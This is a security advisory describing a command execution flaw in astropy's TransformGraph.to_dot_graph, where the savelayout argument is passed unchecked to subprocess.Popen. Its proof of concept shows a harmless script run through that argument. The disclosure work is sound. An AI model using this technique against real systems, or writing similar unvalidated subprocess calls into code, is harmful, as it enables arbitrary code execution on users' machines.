PYSEC-2026-1199

### Summary RCE due to improper input validation in TranformGraph().to_dot_graph function

### Details

Due to improper input validation a malicious user can provide a command or a script file as a value to `savelayout` argument, which will be placed as the first value in a list of arguments passed to `subprocess.Popen`. https://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539 Although an error will be raised, the command or script will be executed successfully.

### PoC

```shell $ cat /tmp/script #!/bin/bash echo astrorce > /tmp/poc.txt ``` ```shell $ python3 Python 3.9.2 (default, Feb 28 2021, 17:03:44) [GCC 10.2.1 20210110] on linux Type "help", "copyright", "credits" or "license" for more information. >>> from astropy.coordinates.transformations import TransformGraph >>> tg = TransformGraph() >>> tg.to_dot_graph(savefn="/tmp/1.txt", savelayout="/tmp/script") Traceback (most recent call last): File "<stdin>", line 1, in <module> File "/home/u32i/.local/lib/python3.9/site-packages/astropy/coordinates/transformations.py", line 584, in to_dot_graph stdout, stderr = proc.communicate(dotgraph) File "/usr/lib/python3.9/subprocess.py", line 1134, in communicate stdout, stderr = self._communicate(input, endtime, timeout) File "/usr/lib/python3.9/subprocess.py", line 1961, in _communicate input_view = memoryview(self._input) TypeError: memoryview: a bytes-like object is required, not 'str' >>> ``` ```shell $ cat /tmp/poc.txt astrorce ```

### Impact code execution on the user's machine